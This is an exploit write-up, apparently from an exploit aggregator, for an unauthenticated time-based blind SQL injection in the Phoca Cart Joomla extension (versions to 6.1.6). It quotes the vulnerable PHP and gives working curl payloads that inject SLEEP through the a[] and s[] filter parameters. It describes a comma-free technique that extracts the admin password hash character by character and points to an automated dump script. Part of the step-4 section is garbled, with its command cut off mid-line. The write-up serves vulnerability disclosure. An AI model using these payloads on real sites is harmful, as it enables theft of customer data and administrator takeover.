## https://sploitus.com/exploit?id=FFED6F3F-8612-5429-8496-A121DC3A606E
# Unauthenticated SQL Injection via Attribute Filter in Phoca Cart
**Phoca Cart β€ 6.1.6 β Unauthenticated Attacker Extracts Full Database via Time-Based Blind Injection**





---
## SUMMARY
The `a[]` (attribute) and `s[]` (specification) GET array parameters on Phoca Cart's public shop items page are concatenated raw into SQL `WHERE` clauses without parameterization or escaping. An unauthenticated attacker can inject arbitrary SQL through these parameters, enabling full database extraction via time-based blind techniques.
The vulnerability exists in `getSqlPartsArray()` inside `admin/libraries/phocacart/search/search.php`. The function calls `explode(',', $v)` before building the `IN()` list but never escapes the resulting values β so a comma-free payload passes through intact into the SQL query. Because `getItemListQuery()` is called twice per request (`getTotal()` + `getItemList()`), a `SLEEP(N)` payload causes a `2ΓN` second observable delay, making timing detection highly reliable.
---
## AFFECTED VERSIONS
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
| -------------------------- | -------------- | -------------------------------------------------- | --------- |
| Phoca Cart (com_phocacart) | 1.0.0 β 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
---
## VULNERABILITY DETAILS
**Type:** SQL Injection β Time-Based Blind (CWE-89)
**Authentication required:** None β publicly accessible endpoint
**File:** `admin/libraries/phocacart/search/search.php`
### Root Cause
The items model reads the `a[]` and `s[]` parameters directly from the HTTP request without sanitization:
**SITE/MODELS/ITEMS.PHP β LINE 92β93**
```php
$this->setState('a', $app->getInput()->get('a', '', 'array')); // β raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // β raw array from GET
```
These values are forwarded to `getSqlPartsArray()`, which splits each value on commas and inserts the resulting fragments directly into the SQL `IN()` clause:
**SEARCH.PHP β GETSQLPARTSARRAY() LINES 318β363 (VULNERABLE)**
```php
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma β but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method β $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // β raw user input injected here
. '))';
// ALL method β $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // β raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter β same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // β raw
}
}
}
```
The resulting SQL fragment is inserted into the main query:
```sql
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
```
`getActiveFilterValues()` in `filter.php` applies `filterValue($item, 'alphanumeric')` to `a[]`/`s[]` values for the display layer. However, `getSqlPartsArray()` reads the same parameters fresh from `$app->getInput()->get('a', '', 'array')` with **no sanitization applied**, bypassing the display-layer protection entirely.
---
## PROOF OF CONCEPT
**No authentication required.** The items view (`/index.php?option=com_phocacart&view=items`) is publicly accessible. No attributes or specifications need to be configured on the shop.
#### 1. Baseline measurement β confirm normal response time
An unauthenticated user can access the shopping portal without any credentials.

Raw request captured in Burp Suite β baseline response time: **76ms**.

#### 2. Confirm SQL injection via time delay β attribute filter (`a[]`)
A `SLEEP(3)` payload is injected via the `a[color]` parameter. Because `getItemListQuery()` is called twice per request, the expected delay is `2 Γ 3 = 6s`. Observed: **7085ms** β confirmed.
```bash
# Time-based blind SQLi β SLEEP(3) fires twice β ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s β CONFIRMED
# Specification filter (s[]) β same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
```

#### 3. Confirm with SLEEP(0) β fast response
Replacing `SLEEP(3)` with `SLEEP(0)` returns immediately (**1064ms**), confirming the delay is caused by the injected `SLEEP` and not network conditions.

#### 4. Character-by-character data extraction via timing oracle
Extract the admin bcrypt hash one byte at a time. **Critical constraint**: `explode(',', $v)` splits on commas before building SQL β payloads must use `SUBSTRING(str FROM pos FOR len)` (ANSI keyword syntax) to avoid comma truncation, and `CASE WHEN ... THEN ... ELSE ... END` instead of `IF()`.
```bash
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice β 4s = match; 6s | β |
| 2 | `2` | 50 | >6s | β |
| 3 | `y` | 121 | >6s | β |
| 4 | `$` | 36 | >6s | β |
| 5 | `1` | 49 | >6s | β |
| 6 | `0` | 48 | >6s | β |
| 7 | `$` | 36 | >6s | β |
| 8 | `L` | 76 | >6s | β |
| 9 | `N` | 78 | >6s | β |
| 10 | `v` | 118 | >6s | β |
| 11 | `t` | 116 | >6s | β |
| ... | ... | ... | >6s | β |
Extracted prefix `$2y$10$LNvt...` β full 60-char bcrypt hash recoverable in ~240 requests.
#### 5. Automated extraction β full admin hash dump via exploit script
The included `exploit.py` script automatically extracts the complete admin password hash without manual iteration, using the same time-based technique above.
```bash
python exploit.py http://TARGET
```

---
## IMPACT
1. **Full database read without authentication** β Joomla user credentials (bcrypt hashes + emails), order records, payment metadata, customer PII, and API keys stored in the database are fully accessible to any unauthenticated attacker.
2. **Administrator account takeover** β Extracting the admin password hash and cracking it offline gives full Joomla administrator access, enabling remote code execution via template or plugin upload.
3. **Zero prerequisites β affects every Phoca Cart installation** β The vulnerable endpoint is the public shop listing page. No attributes or specifications need to be configured. Any site with `com_phocacart` installed and a public front-end is exploitable.
4. **Database write potential** β If MariaDB PDO emulation enables stacked queries, the attacker can execute arbitrary `INSERT` / `UPDATE` / `DELETE` statements, including creating new administrator accounts or modifying order records.
---
## REFERENCES
- **CVE:** https://vulners.com/cve/CVE-2026-74251
- **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2026-74251
- **Vendor Repository:** https://github.com/PhocaDesign/PhocaCart